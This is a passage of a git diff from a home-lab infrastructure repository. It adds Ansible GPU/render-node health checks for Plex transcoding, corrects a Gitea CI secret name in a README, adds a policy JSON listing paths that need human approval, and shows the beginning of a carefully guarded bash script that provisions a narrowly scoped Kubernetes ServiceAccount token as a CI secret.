+      HARDWARE TRANSCODING IS BROKEN ON THIS NODE. A display-class device IS present on the
+      PCI bus ({{ r.display_devices | map(attribute='address') | join(', ') }}) but there is
+      no usable character-special render node: /dev/dri
+      {{ 'does not exist' if not (g.dri_present | bool) else 'holds ' ~ dri_listing }}.
+      {{ ('Note that /dev/dri holds ' ~ (g.render_nodes | map(attribute='name') | join(', '))
+      ~ ' — present, but NOT character special, which is an anomaly in its own right. ')
+         if (g.render_nodes | length) > 0 else '' }}
+      Nothing fails loudly in this state — Plex silently falls back to software transcoding
+      and the only symptom is CPU load. Check graphics.drm_driver below for whether a DRM
+      driver bound at all, then whether the onboard IGD is still enabled in BIOS.
+      {%- endif -%}
+
+- name: Assess — DRM driver bound to the display device
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.drm_driver',
+      'title': 'DRM driver bound to the display device (expected ' ~ expected ~ ')',
+      'status': driver_status,
+      'detail': driver_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    expected: "{{ node_health_graphics_expected_driver }}"
+    # WARN rather than FAIL when a DIFFERENT driver is bound (the `xe` case): the device
+    # still works, but the userspace media stack is not the same one, so it is a change the
+    # operator must see before a transcode regression surfaces as a user complaint. FAIL is
+    # for nothing bound at all, which is the cause of a missing render node.
+    driver_status: >-
+      {{ 'SKIP' if (r.display_devices | length) == 0
+         else ('FAIL' if (r.bound_drivers | length) == 0
+               else ('PASS' if expected in r.bound_drivers else 'WARN')) }}
+    driver_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so no DRM driver can be bound to one.
+      Measured from /sys/bus/pci/devices.
+      {%- else -%}
+      {% for p in r.display_devices %}{{ p.address }}
+      {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true))), true) }}
+      -> driver {{ p.driver | default('NONE BOUND', true) }}{{ '; ' if not loop.last else '' }}{% endfor %}.
+      {{ ('DRM cards: ' ~ (g.drm_cards | map(attribute='card') | zip(g.drm_cards | map(attribute='driver'))
+           | map('join', '=') | join(', ')) ~ '. ') if (g.drm_cards | length) > 0
+         else 'No /sys/class/drm/card* entry exists, which is consistent with no driver being bound. ' }}
+      Module load state (/proc/modules, corroboration only — a built-in driver never appears
+      there, the bound-driver symlink above is what decides):
+      {{ g.modules | dict2items | map(attribute='key') | zip(g.modules | dict2items | map(attribute='value') | map('string'))
+         | map('join', '=') | join(', ') }}.
+      {%- if (r.bound_drivers | length) == 0 %}
+      NOTHING IS BOUND to the display device. That is why there is no render node: the DRM
+      subsystem creates /dev/dri/renderD* only when a driver attaches. Check whether the
+      module exists for this kernel and whether it was blacklisted or failed to probe.
+      {%- elif expected in r.bound_drivers %}
+      This is the expected driver for this site (node_health_graphics_expected_driver).
+      {%- else %}
+      EXPECTED `{{ expected }}`, GOT `{{ r.bound_drivers | join(', ') }}`. The device still
+      works, so this is not an outage — but the two DRM drivers do not share a userspace
+      media stack, and a libva/iHD build that transcodes correctly against one is not
+      automatically right for the other. Confirm Plex still hardware-transcodes before
+      treating this as benign.
+      {%- endif %}
+      {%- endif -%}
+
+# INFO ONLY, AND THAT IS A DELIBERATE RULING, NOT AN OVERSIGHT:
+#
+#   GuC/HuC firmware not loaded (i915.enable_guc=0) — the accepted state on these nodes. It
+#   costs low-power H.264 encode QUALITY, nothing else; decode and encode both still work
+#   through the media engines. Grading it would put a permanent WARN on a configuration the
+#   operator has chosen.
+#   No host VAAPI userspace / no `vainfo` — NOT a defect. Plex ships its own libva and media
+#   driver inside its container, so the host needs neither. Flagging it would invite someone
+#   to `apt install vainfo` on a node to clear a health check, and this role installs nothing.
+#
+# The media ENGINES are the fact worth watching in this line: vcs* (video) and vecs*
+# (video-enhancement) are what a transcode actually runs on.
+- name: Assess — media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+  ansible.builtin.set_fact:
+    node_health_checks: "{{ node_health_checks + [{
+      'id': 'graphics.media_stack',
+      'title': 'Media engines, GuC/HuC firmware and host VAAPI userspace (informational)',
+      'status': ('SKIP' if (node_health_render.display_devices | length) == 0 else 'INFO'),
+      'detail': media_detail }] }}"
+  vars:
+    ansible_become: false
+    g: "{{ node_health_facts.graphics }}"
+    r: "{{ node_health_render }}"
+    # `.get()` rather than a subscript: uc only carries the two Intel drivers, and a site
+    # that set the expected driver to amdgpu must get a clean "no such parameters" line
+    # instead of an undefined-key traceback.
+    guc: "{{ g.uc.get(node_health_graphics_expected_driver) }}"
+    guc_text: >-
+      {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc is mapping and guc.enable_guc.value is not none)
+         else ('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))
+               if guc is mapping
+               else 'no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters at all') }}
+    media_detail: >-
+      {%- if (r.display_devices | length) == 0 -%}
+      no display-class PCI device on this machine, so there is no media engine, no GuC/HuC
+      firmware and nothing to transcode with.
+      {%- else -%}
+      media engines:
+      {{ (r.media_engines | join(', ')) if (r.media_engines | length) > 0
+         else 'NONE exposed under /sys/class/drm/card*/engine — a bound driver with no vcs*/vecs* engine cannot do media work' }}
+      (all engines: {{ (g.drm_cards | map(attribute='engines') | flatten | unique | sort | join(', ')) | default('none', true) }}).
+      GuC/HuC: {{ guc_text }}.
+      {{ ('Kernel cmdline carries ' ~ (g.cmdline_params | join(' '))) if (g.cmdline_params | length) > 0
+         else 'No i915/xe parameter on the kernel cmdline' }}.
+      GuC/HuC being off is a KNOWN, ACCEPTED state here and is never graded: it costs
+      low-power H.264 encode quality only, and both decode and encode still run on the
+      engines above.
+      Host VAAPI userspace: vainfo
+      {{ ('present at ' ~ node_health_facts.tools.vainfo) if node_health_facts.tools.vainfo
+         else 'NOT installed on this host' }}
+      — also never graded, because Plex ships its own libva and media driver inside its
+      container, so the host needs none. This role installs nothing.
+      {%- endif -%}
+
 # --- Thermals -----------------------------------------------------------------------
 - name: Assess — temperatures
   ansible.builtin.set_fact:

infra/ansible/roles/node_health/templates/summary.txt.j2

@@ -136,6 +136,37 @@
 {% endfor %}
 {% endfor %}
 
+--------------------------------------------------------------------------------
+ GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+--------------------------------------------------------------------------------
+{% set gfx = node_health_facts.graphics %}
+{% if gfx.pci_display %}
+{% for p in gfx.pci_display %}
+ pci  {{ '%-12s' | format(p.address) }} {{ p.description | default(((p.vendor_id | default('?', true)) ~ ':' ~ (p.device_id | default('?', true)) ~ ' class ' ~ (p.class_id | default('?', true))), true) }}
+              driver {{ p.driver | default('NONE BOUND', true) }}
+{% endfor %}
+{% else %}
+ pci         no display-class device (PCI base class 0x03) on this machine — no GPU here
+{% endif %}
+{% for c in gfx.drm_cards %}
+ drm  {{ '%-12s' | format(c.card) }} driver {{ '%-8s' | format(c.driver | default('-', true)) }} at {{ c.pci_address | default('-', true) }}  engines {{ c.engines | join(' ') | default('none exposed', true) }}
+{% endfor %}
+{% if gfx.dri_present %}
+{% for d in gfx.devices %}
+ dev  {{ '%-12s' | format(d.name) }} {{ '%-18s' | format('character special' if d.char_device else 'NOT A CHAR DEVICE') }} mode {{ d.mode }}  {{ d.owner | default(d.uid, true) }}:{{ d.group | default('(gid unresolved)', true) }} gid {{ d.gid }}
+{% endfor %}
+{% else %}
+ dev         /dev/dri DOES NOT EXIST — no DRM device node on this node at all
+{% endif %}
+{# GID is printed, never asserted: `render` is a systemd dynamic allocation, so a rebuild may
+   legitimately move it and Plex's container init joins whichever group owns the device. See
+   defaults/main.yml (node_health_graphics_expected_driver) for the full reasoning. #}
+{% set guc = gfx.uc.get(node_health_graphics_expected_driver) %}
+ GuC/HuC     {{ ('enable_guc=' ~ guc.enable_guc.value) if (guc and guc.enable_guc.value is not none) else (('NOT READ — ' ~ (guc.enable_guc.reason | default('no reason recorded', true))) if guc else ('no /sys/module/' ~ node_health_graphics_expected_driver ~ '/parameters')) | regex_replace('\s+', ' ') | trim | wordwrap(64) | indent(14) }}
+             {{ ('kernel cmdline: ' ~ (gfx.cmdline_params | join(' '))) if gfx.cmdline_params else 'no i915/xe parameter on the kernel cmdline' }}
+ modules     {% for m, loaded in gfx.modules.items() %}{{ m }}={{ loaded | string | lower }}{{ ', ' if not loop.last }}{% endfor %} (/proc/modules — corroboration only; the bound-driver symlink above decides)
+ vainfo      {{ node_health_facts.tools.vainfo | default('NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container', true) }}
+
 --------------------------------------------------------------------------------
  PRESSURE STALL (/proc/pressure — % of wall time stalled)
 --------------------------------------------------------------------------------

infra/gitea/README.md

@@ -102,7 +102,19 @@ Behaviour, proven by test rather than assumed:
 |---|---|---|
 | live matches the declaration | 0 | green |
 | any key drifted, or no runner online | 1 | **blocks the merge** |
-| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
+> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
+> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
+> inert-detector story, so the wrong name surviving here is worth correcting rather than
+> reading past. Measured in `ci/gitea-settings.sh`:
+>
+>     TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+>
+> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
+> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
+> created. In CI, only `SETTINGS_API_TOKEN` exists.
 
 The skip is deliberately *not* a block: an unwired credential blocking every PR is the
 lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
@@ -112,6 +124,59 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
 **Changing the declaration is how you change policy.** If the live state is what you now want,
 edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
 
+## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
+
+Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
+ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
+kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
+and only on request — set `vars.CLUSTER_AVAILABLE=true`.
+
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run   # measure only; writes nothing
+    ./infra/gitea/conformance-trigger-kubeconfig.sh             # mint + store the secret
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available   # + the variable
+
+Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
+printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
+(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
+`set -x`.
+
+**Its preconditions are split in two, and the split is the point.**
+
+| Class | Checks | Blocks |
+|---|---|---|
+| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
+| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
+
+Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
+token that can `create jobs` in `conformance` can run arbitrary code as the privileged
+`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
+while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
+
+Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
+trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
+running this today provisions the secret and then **refuses to arm the variable**, naming the
+missing item.
+
+**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
+trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
+"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
+now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
+`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
+nothing happens.
+
+Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
+read the object back. For the secret that proves presence by name only (Gitea never returns
+secret values); for the variable it proves the value is exactly `true`, which is what
+`gate.yml` compares against.
+
+The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
+to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
+rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
+
+`--server` exists because the embedded API-server URL must be reachable **from the CI runner
+pod** — the VIP — which is not necessarily the address your workstation uses. The script
+refuses a loopback server outright.
+
 ### Why these scripts exist at all, and what is still missing
 
 Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -124,8 +189,9 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
 **detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
 root cause of the 2026-09-29 session.
 
-It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
-detector detects nothing. That is the remaining step.
+It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
+detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
+it. The name matters — see the note under the behaviour table above.)
 
 ## Historical sequence (kept for context)
 

infra/gitea/approval-policy.json

@@ -0,0 +1,28 @@
+{
+  "_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
+  "_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
+  "_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
+  "sensitive_paths": [
+    "ci/**",
+    ".gitea/**",
+    "conformance/**",
+    "clusters/**",
+    "bootstrap/**",
+    "infra/gitea/**",
+    "platform/kyverno/**",
+    "platform-config/kustomization.yaml",
+    ".sops.yaml",
+    "**/*.sops.yaml",
+    "**/rbac.yaml",
+    "CLAUDE.md"
+  ],
+  "_why_each": {
+    "ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
+    "conformance/**": "the tests and the harness; changing them changes what green MEANS",
+    "clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
+    "infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
+    "platform/kyverno/**": "the admission policy engine",
+    ".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
+    "CLAUDE.md": "the delivery contract agents follow"
+  }
+}

infra/gitea/conformance-trigger-kubeconfig.sh

@@ -0,0 +1,575 @@
+#!/usr/bin/env bash
+# infra/gitea/conformance-trigger-kubeconfig.sh
+#
+# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
+# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
+# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
+#
+# What it does, in order:
+#   1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
+#   2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
+#      `conformance` (kubectl create token -> TokenRequest API)
+#   3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
+#   4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
+#   5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
+#      VERIFIES the store by reading the secret list back
+#   6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
+#      precondition green, and only after a typed confirmation. Otherwise it REFUSES.
+#
+# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
+# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
+# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
+# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
+#
+# ----------------------------------------------------------------------------------------
+# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
+# ----------------------------------------------------------------------------------------
+# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
+#    `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
+#    name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
+#    GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
+#    .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
+#
+# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
+#    to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
+#    knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
+#    the object back afterwards. A store is not claimed unless the read-back shows it.
+#
+# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
+#    `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
+#    cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
+#    trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
+#    FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
+#    case (exit 1), so today the variable does not enable L2/L3: it only changes which way
+#    the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
+#    every PR. This script refuses to do it.
+#
+# ----------------------------------------------------------------------------------------
+# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
+# ----------------------------------------------------------------------------------------
+# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
+# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
+# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
+# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
+# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
+# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
+# privileged identity. So those checks block the MINT itself — nothing is created if they
+# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
+#
+# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
+# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
+# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
+# conformance job is gated on the variable and never starts — and the plan explicitly lands
+# the secret before the switch. So these checks block ONLY the variable.
+#
+# Net effect: you can safely run this script today to provision the secret. It will then
+# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
+#
+# ----------------------------------------------------------------------------------------
+# USAGE
+# ----------------------------------------------------------------------------------------
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
+#         Read-only. Measures every precondition, mints nothing, writes nothing.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
+#         Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
+#         The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
+#         refused unless every precondition is green.
+#
+# Options:
+#   --dry-run                 measure only; no TokenRequest, no PUT/POST
+#   --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded)
+#   --server URL              API server URL to embed (default: the operator context's own)
+#   --context NAME            kube context to read the CA/server from (default: k3s-prod)
+#   --duration D              requested token lifetime (default: 720h = 30d)
+#   -h | --help               this text
+#
+# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
+# not necessarily the address your workstation uses. The runner has broad egress and reaches
+# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
+# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
+# on a loopback server but cannot know your topology for you.
+#
+# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
+# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
+# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
+# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
+# the correct direction, but put the expiry date in your calendar.
+#
+# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
+# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
+# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
+# committing one buys re-issuance we get for free by re-running this script against the
+# live SA. If the operator still wants it sealed, that is a separate reviewed change.
+#
+# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
+# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
+# TokenRequest itself, no `kubectl apply`.
+set -euo pipefail
+
+# xtrace would print the token. Refuse rather than leak.
+case "$-" in
+  *x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
+esac
+umask 077
+
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
+SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
+VARIABLE=CLUSTER_AVAILABLE
+NS=conformance
+SA=conformance-trigger
+RUNNER_SA=conformance-runner
+POLICY=conformance-trigger-job-shape
+# The image prefix the admission policy admits. Kept in sync with
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
+RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
+
+KCTX=k3s-prod
+DURATION=720h
+DRY_RUN=false
+ARM=false
+SERVER_OVERRIDE=""
+
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+
+step() { printf '\n==> %s\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+warn() { printf '    WARN: %s\n' "$*" >&2; }
+die()  { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+
+usage() {
+  cat <<'USAGE'
+conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
+
+  --dry-run                 measure every precondition; mint nothing, write nothing (read-only)
+  --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
+  --server URL              API server URL to embed (default: the operator context's own;
+                            must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
+  --context NAME            kube context to read the CA/server from (default: k3s-prod)
+  --duration D              requested token lifetime (default: 720h)
+  -h | --help               this text
+
+Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
+mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
+USAGE
+}
+
+while [ $# -gt 0 ]; do
+  case "$1" in
+    --dry-run)               DRY_RUN=true ;;
+    --arm-cluster-available) ARM=true ;;
+    --server)                SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
+    --context)               KCTX="${2:?--context needs a name}"; shift ;;
+    --duration)              DURATION="${2:?--duration needs a value}"; shift ;;
+    -h|--help)               usage; exit 0 ;;
+    *)                       die "unknown argument: $1 (try --help)" ;;
+  esac
+  shift
+done
+if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
+
+for t in kubectl jq curl git base64; do
+  command -v "$t" >/dev/null || die "missing required tool: $t"
+done
+
+WORK="$(mktemp -d)"
+KC="${WORK}/conformance-trigger.kubeconfig"
+cleanup() { rm -rf "$WORK"; }
+trap cleanup EXIT
+trap 'cleanup; exit 130' INT TERM
+
+# ========================================================================================
+# 0. Gitea credentials — from the credential helper git already has for this host, exactly
+#    as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
+#    reads them from a --config file descriptor.
+# ========================================================================================
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+unset creds
+[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+
+# ========================================================================================
+# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
+#    Two independent tallies, per the split documented in the header.
+# ========================================================================================
+MINT_FAIL=0
+ARM_FAIL=0
+pass()      { printf '    [ ok ]   %s\n' "$*"; }
+fail_mint() { printf '    [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
+fail_arm()  { printf '    [ARM-BLOCK]  %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
+
+step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
+
+kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
+  || die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
+pass "API server reachable via context ${KCTX}"
+
+# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
+# clusters/base/conformance.yaml). We print object names only, never contents.
+if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
+  pass "ServiceAccount ${NS}/${SA} exists"
+else
+  fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
+fi
+for kind in role rolebinding; do
+  if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
+    pass "${kind} ${NS}/${SA} exists"
+  else
+    fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
+  fi
+done
+
+# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
+# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
+if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
+  action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
+  failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
+  # Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
+  # treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
+  ready="$(jq -r '
+      if (.status.ready != null) then (.status.ready | tostring)
+      elif (.status.conditions != null) then
+        ((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
+      else "UNKNOWN" end' <<<"$pol")"
+  info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
+  [ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
+  [ "$failpol" = "Fail" ]   || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
+  case "$ready" in
+    true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
+    *)         fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
+  esac
+else
+  fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
+fi
+
+step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
+
+# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
+# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
+VERSIONS="${REPO_ROOT}/conformance/versions.env"
+if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
+  pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
+else
+  fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
+fi
+
+# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
+# init-container that populates the empty `workspace` volume with the suite at the PR SHA
+# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
+JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
+if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
+else
+  fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
+fi
+if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
+else
+  fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
+fi
+
+# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
+# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
+# the CI job — where there is no credential at all (the runner sets
+# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
+# check must ignore comment lines: a mention in prose is not an implementation.
+#
